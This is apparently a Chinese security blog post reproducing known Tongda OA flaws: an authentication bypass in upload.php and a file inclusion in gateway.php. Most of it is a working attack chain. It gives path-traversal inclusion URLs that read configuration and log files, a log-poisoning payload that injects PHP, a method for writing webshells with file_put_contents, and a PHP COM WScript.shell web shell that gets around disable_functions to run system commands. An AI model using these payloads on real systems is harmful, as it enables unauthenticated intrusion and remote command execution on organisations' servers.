說明
通達OA漏洞在去年上半年已爆出,這不趁著周末沒事做,將源碼下載下來進行復現學習。
文件包含測試
文件包含檢測,payload1:
ip/ispirit/interface/gateway.php?json={"url":"/general/../../mysql5/my.ini"}
利用文件包含訪問mysql.ini,檢查是否有某些特定字符串 ,比如innodb_log_group_home_dir
payload2:
ip/ispirit/interface/gateway.php?json={}&url=/general/../../nginx/logs/oa.access.log
利用文件包含訪問OA日志
復現
源碼下載
鏈接:https://pan.baidu.com/s/1HP5pDsAK2QLOWpnB1JX-Yg提取碼:vab0
是個exe,安裝解壓完是php代碼。用Sublime打開,都是16進制加密
用notepad打開顯示,zend加密,
php在線解密網站:http://dezend.qiling.org/free.html
解密出源代碼。
文件上傳
ispirit/im/upload.php
要上傳首先需要繞過登陸驗證,在本系統中auth.php是登陸驗證的相關邏輯,但在upload.php未修復前,如果$P非空就不需要經過auth.php驗證即可執行后續代碼。利用此處邏輯漏洞可繞過登陸驗證直接上傳文件。
經過下載源碼測試,上傳后的文件在MYOA/attach/im/2003/目錄下。因上傳后的文件不在根目錄,所以無法直接利用,因此需要進行文件包含。
文件包含
與上傳相反,這里不傳P參數就可以文件包含。未修復前,可通過精心構造json進入47行的includ_once進行文件包含。官方在補丁中過濾了 ,防止用戶讀取其他目錄文件。
POC
poc有很多,其一,首先構造url并訪問,在日志中寫入一句話,原理是OA默認會將訪問url,agent寫日志。
/ispirit/interface/gateway.php?json={}&a=<?php ?file_put_contents('1.php','hello123');?>
先在瀏覽器訪問,
發現"
用burp重新發包。
成功寫入日志。(寫日志的方式省去了上傳)
文件包含
如果php poc 為<?php file_put_contents('1.php','hello123');?>
則上傳到 存在漏洞文件 gateway.php 同級目錄,如果php poc為<?php file_put_contents('../1.php','hello123');?>,則上傳到 上一級目錄 ispirit 目錄下。注意路徑。
exp
通過 upload.php 上傳一個文件,可自定義后綴名。經過下載源碼測試,上傳后的文件在MYOA/attach/im/2003/目錄下。
思路一:
上傳一個寫shell的php文件,在利用文件包含寫shell。
具體見exp.py。
思路二:
執行cmd,
MYOA/bin/ 目錄下的 php.ini 禁用了一些執行,命令的函數。
disable_functions?=?exec,shell_exec,system,passthru,proc_open,show_source,phpinfodisable_classes =
參考
使用com組件繞過disable_functionshttps://www.cnblogs.com/-qing-/p/10944118.html
eg:
<?php $command=$_GET['a'];$wsh = new COM('WScript.shell'); // 生成一個COM對象 Shell.Application也能$exec = $wsh->exec("cmd /c".$command); //調用對象方法來執行命令$stdout = $exec->StdOut();$stroutput = $stdout->ReadAll();echo $stroutput;?>
這里寫的exp總是將post數據自動url編碼。達不到burp的效果。
需要先設置一次請求頭setHeader("Content-Type", "application/x-www-form-urlencoded")再將數據拼接成string格式再進行發送 ,終于寫成了exp2.py。
版本路徑
不同環境路徑不同。
例如2013:/ispirit/im/upload.php/ispirit/interface/gateway.php例如2017:/ispirit/im/upload.php/mac/gateway.php
后記
一些趣事,正常該用post包含的。
get包含就很玄學了。正常get請求(不空行)是不行的,在瀏覽器GET請求也是不能包含的。
注意看我光標位置。必須空出來一行,否則不成功。get無請求體,不知道是什么原因。
空兩行試試
發包,Content-Length都有了,可真牛啊。
wireshark抓個包,get沒請求體呀。見strange-get-include.pcap。
往期精彩
感興趣的可以點個關注!!!
關注「安全先師」
把握前沿安全脈搏